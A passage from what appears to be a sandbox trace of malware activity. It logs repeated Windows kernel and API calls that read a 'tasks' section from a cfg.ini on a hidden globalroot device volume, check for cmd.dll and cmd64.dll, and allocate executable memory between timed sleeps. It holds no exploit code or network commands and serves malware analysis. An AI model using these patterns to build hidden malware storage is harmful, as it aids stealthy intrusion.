(FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] KeLeaveCriticalRegion () [0129.680] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.680] KeEnterCriticalRegion () [0129.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.680] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] KeLeaveCriticalRegion () [0129.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.680] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.680] KeEnterCriticalRegion () [0129.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] KeLeaveCriticalRegion () [0129.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.681] ReleaseMutex (hMutex=0xf0) returned 1 [0129.681] Sleep (dwMilliseconds=0x927c0) [0129.697] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.697] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.697] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.697] KeEnterCriticalRegion () [0129.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.697] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.697] IdePortDispatch () returned 0x103 [0129.697] KeWaitForMutexObject () returned 0x0 [0129.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06090 [0129.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.698] KeLeaveCriticalRegion () [0129.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.698] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.698] KeEnterCriticalRegion () [0129.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.698] KeLeaveCriticalRegion () [0129.698] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.698] KeEnterCriticalRegion () [0129.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.698] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.698] IdePortDispatch () returned 0x103 [0129.698] KeWaitForMutexObject () returned 0x0 [0129.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.698] KeLeaveCriticalRegion () [0129.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.698] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.699] KeEnterCriticalRegion () [0129.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c39000 [0129.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.699] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.699] IdePortDispatch () returned 0x103 [0129.699] KeWaitForMutexObject () returned 0x0 [0129.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.699] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.699] IdePortDispatch () returned 0x103 [0129.699] KeWaitForMutexObject () returned 0x0 [0129.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.699] KeLeaveCriticalRegion () [0129.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.700] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.700] KeEnterCriticalRegion () [0129.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] KeLeaveCriticalRegion () [0129.700] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.700] KeEnterCriticalRegion () [0129.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c062b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] KeLeaveCriticalRegion () [0129.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.700] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.700] KeEnterCriticalRegion () [0129.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] ExFreePoolWithTag (P=0xfffffa8003c06090, Tag=0x0) [0129.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.700] KeLeaveCriticalRegion () [0129.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.700] ReleaseMutex (hMutex=0xf0) returned 1 [0129.700] Sleep (dwMilliseconds=0x927c0) [0129.705] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.712] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.712] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.712] KeEnterCriticalRegion () [0129.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.712] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.712] IdePortDispatch () returned 0x103 [0129.712] KeWaitForMutexObject () returned 0x0 [0129.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.712] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.712] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.712] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06480 [0129.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.712] KeLeaveCriticalRegion () [0129.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.712] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.712] KeEnterCriticalRegion () [0129.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.712] KeLeaveCriticalRegion () [0129.712] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.712] KeEnterCriticalRegion () [0129.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.713] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.713] IdePortDispatch () returned 0x103 [0129.713] KeWaitForMutexObject () returned 0x0 [0129.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.713] KeLeaveCriticalRegion () [0129.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.713] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.713] KeEnterCriticalRegion () [0129.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0129.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.713] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.713] IdePortDispatch () returned 0x103 [0129.713] KeWaitForMutexObject () returned 0x0 [0129.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.713] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.713] IdePortDispatch () returned 0x103 [0129.714] KeWaitForMutexObject () returned 0x0 [0129.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.714] KeLeaveCriticalRegion () [0129.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.714] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.714] KeEnterCriticalRegion () [0129.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.714] KeLeaveCriticalRegion () [0129.714] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.714] KeEnterCriticalRegion () [0129.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.714] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.715] KeLeaveCriticalRegion () [0129.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.715] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.715] KeEnterCriticalRegion () [0129.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.715] ExFreePoolWithTag (P=0xfffffa8003c06480, Tag=0x0) [0129.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.715] KeLeaveCriticalRegion () [0129.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.715] ReleaseMutex (hMutex=0xf0) returned 1 [0129.715] Sleep (dwMilliseconds=0x927c0) [0129.724] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.724] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.724] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.724] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.724] KeEnterCriticalRegion () [0129.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.724] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.724] IdePortDispatch () returned 0x103 [0129.724] KeWaitForMutexObject () returned 0x0 [0129.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.724] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.724] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.724] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.724] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.724] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c060e0 [0129.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.724] KeLeaveCriticalRegion () [0129.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.724] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.724] KeEnterCriticalRegion () [0129.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.724] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.725] KeLeaveCriticalRegion () [0129.725] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.725] KeEnterCriticalRegion () [0129.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.725] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.725] IdePortDispatch () returned 0x103 [0129.725] KeWaitForMutexObject () returned 0x0 [0129.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.725] KeLeaveCriticalRegion () [0129.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.725] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.725] KeEnterCriticalRegion () [0129.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0129.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.725] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.725] IdePortDispatch () returned 0x103 [0129.725] KeWaitForMutexObject () returned 0x0 [0129.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.726] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.726] IdePortDispatch () returned 0x103 [0129.726] KeWaitForMutexObject () returned 0x0 [0129.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.726] KeLeaveCriticalRegion () [0129.726] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.726] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.726] KeEnterCriticalRegion () [0129.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.726] KeLeaveCriticalRegion () [0129.726] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.726] KeEnterCriticalRegion () [0129.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.727] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.727] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.727] KeLeaveCriticalRegion () [0129.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.727] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.727] KeEnterCriticalRegion () [0129.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.727] ExFreePoolWithTag (P=0xfffffa8003c060e0, Tag=0x0) [0129.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.727] KeLeaveCriticalRegion () [0129.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.727] ReleaseMutex (hMutex=0xf0) returned 1 [0129.727] Sleep (dwMilliseconds=0x927c0) [0129.743] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.743] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.743] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.743] KeEnterCriticalRegion () [0129.743] ExAcquireFastMutexUnsafe (in: 